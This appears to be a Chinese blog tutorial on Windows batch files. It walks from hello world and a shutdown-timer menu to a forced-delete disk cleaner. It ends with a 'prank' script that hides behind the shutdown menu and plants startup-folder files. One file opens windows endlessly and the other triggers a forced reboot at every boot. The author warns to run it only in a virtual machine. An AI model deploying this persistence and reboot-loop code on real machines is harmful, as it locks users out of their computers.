批处理编写实例

批处理文件及其编写实例

什么是批处理

通俗来说,批处理就是dos命令集中写在一个文件中,然后由计算机替你自动的去打开cmd窗口,从上到下向窗口中一条一条地输入dos命令并回车,直到所有dos命令执行完毕的过程
*注意:批处理执行特点
	1,从上到下,顺序执行
	2,如果其中某一条命令执行出错,不中断批处理,一直执行到最后一条命令为止
	3,批处理中不区分大小写

批处理文件

批处理的载体,也就是一些dos命令写在文件中的集合
批处理文件后缀: .bat

批处理文件编写实例(请自己动手在虚拟机中编写文件,不提倡复制粘贴,理解注释中的意思)

温馨提示

***实验代码具有破坏性,请不要在真实环境中运行,虚拟机最好保存一个初始快照
***  # 后面的文字为代码注释

1,万恶的hello world 输出

@echo off             #关闭命令执行回显,只显示执行结果
color 0a			  #设置屏幕背景以及字体颜色 0表示黑色背景,a表示绿色字体,可以再尝试 FC
echo hello world!     #在屏幕中输出hello world
pause				  #使批处理执行暂停,以便观察结果

** 程序运行结果:屏幕输出hello world!

2,磁盘清理小程序

@echo off 
color FC
title 磁盘清理小程序	 #给批处理起个名字,在窗口的左上角显示
C:					 #告诉系统,接下来将对C盘进行操作,如果要定位的盘符不存在,则回显“系统找不到指定的驱动器”错误,并继续向下执行
cd\					 #切换路径到 C盘的根下
cd tmp 				 #切换至tmp目录下
del /s /q .			  #删除指定目录下的文件 /s 删除子目录中的文件  /q 无需确认,直接删除  
rd /s /q .			#删除指定目录下的目录 /s 删除子目录 /q 无需确认,直接删除
echo clear finished!!	#回馈信息
pause

** 程序运行结果:屏幕输出文件删除信息,以及 clear finished!!,c盘下的tmp目录中的所有文件以及文件夹被删除,还可能输出 :另一个程序正在使用此文件,进程无法访问;这只是个警告信息,无需理会

2,定时关机小程序

@echo off
color 0a
title 定时关机小程序

:meau				#批处理标号,一般与goto配合使用,来实现跳转执行功能
cls					#清屏
echo =====================
echo	  meau 
echo   1,定时关机
echo   2,取消关机
echo   3,退出程序
echo =====================

set /p num=请选择服务:			#set 创建一个变量 /p 等待用户输入并回车,将用户输入的值赋给左边的num
if "%num%"=="1" goto shutdown	#goto 跳转,跳转到批处理中指定的标号位置,并从标号的位置开始,顺序向下执行批处理命令; %num% ,获取变量名为num的值,两个 % 用于获取变量的值
if "%num%"=="2" goto noshutdown
if "%num%"=="3" goto exit
echo 好家伙,别瞎输入QAQ,请输入 1/2/3
pause
goto meau

:shutdown
set /p times=输入关机时间(单位是秒/s):
shutdown /s /f /t %times%		#shutdown 关机或重启命令 /s 关机 /f 强制 /t 后接时间,单位为秒
goto meau

:noshutdown
shutdown /a				# /a 取消关机或重启
goto meau

:exit
exit					#退出命令行窗口/退出程序

**程序运行结果:窗口出现黑屏绿字体的菜单信息,输入 1 并设置时间能够做到定时关机,输入 2 能够取消关机,输入 3 窗口关闭;输入 1,2,3以外的字符程序出现正确输入指引;

4,知识点准备

*微软为了提升用户体验,在用户的家目录下,设置有一个启动项/启动目录,用于在用户设置某些程序开机自启动;
*其工作方式:假设用户设置了QQ软件开机自启,电脑就把QQ的快捷方式放在了该用户的启动项中,再下一次用户电脑开机时,电脑会自动的先去这个启动项中查看是否存在开机自启应用,如果存在,则再开机后首先运行该应用; 通俗讲:相当于在开机后自动帮你双击了QQ快捷方式运行了QQ;
*在windows中,存在一个全局变量名为 userprofile ,这个变量存的值是windows当前登录用户的家目录路径(绝对路径),比如:当前系统是win7,且用户是aaa,则这个用户存的值就是 :C:users\aaa ,可以在cmd下使用 echo %userprofile% 查询;

5,无限重启小程序

@echo off
color 0a
:meau				#批处理标号,一般与goto配合使用,来实现跳转执行功能
cls					#清屏
echo =====================
echo	  meau 
echo   1,定时关机
echo   2,取消关机
echo   3,退出程序
echo =====================

set /p num=请选择服务(输入数字):
if "%num%"=="1" goto shutdown
if "%num%"=="2" goto noshutdown
if "%num%"=="3" goto exit
echo 好家伙,有种你关机试试
echo @echo off >>"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\heihei.bat"
echo color 0a >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\heihei.bat"
echo :a >>"%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\heihei.bat"
echo echo 你完啦~ >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\heihei.bat"
echo start >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\heihei.bat"
echo goto a >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\heihei.bat"
pause
goto meau

:shutdown
set /p times=请设置关机时间(单位是秒/s):
shutdown /s /f /t %times%
goto meau

:noshutdown
shutdown /a
echo 取消关机成功
echo shutdown /r /f /t 1 >> "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\haha.bat"
pause
goto meau

:exit
exit

#程序的部分注释
echo 具有向指定路径写入文件的功能, >> 向文件追加内容 ; > 覆盖文件内容/原有文件内容删除,新的内容写入

**程序运行结果:输入除了1/2/3以外的字符,用户的启动目录中会多出一个heihei.bat文件,并且在下次开机之后电脑疯狂弹窗,如果用户选了 2,则在启动目录中多出一个haha.bat文件,下次电脑开机之后,一直重启;

****最后再次提示,实例程序不要在真实环境中运行,虚拟机运行在必要时保存快照!!!!
****屏幕及颜色设置参见大佬博客:https://blog.csdn.net/tp7309/article/details/53450131

猜你喜欢

转载自blog.csdn.net/qq_46635165/article/details/115082505
今日推荐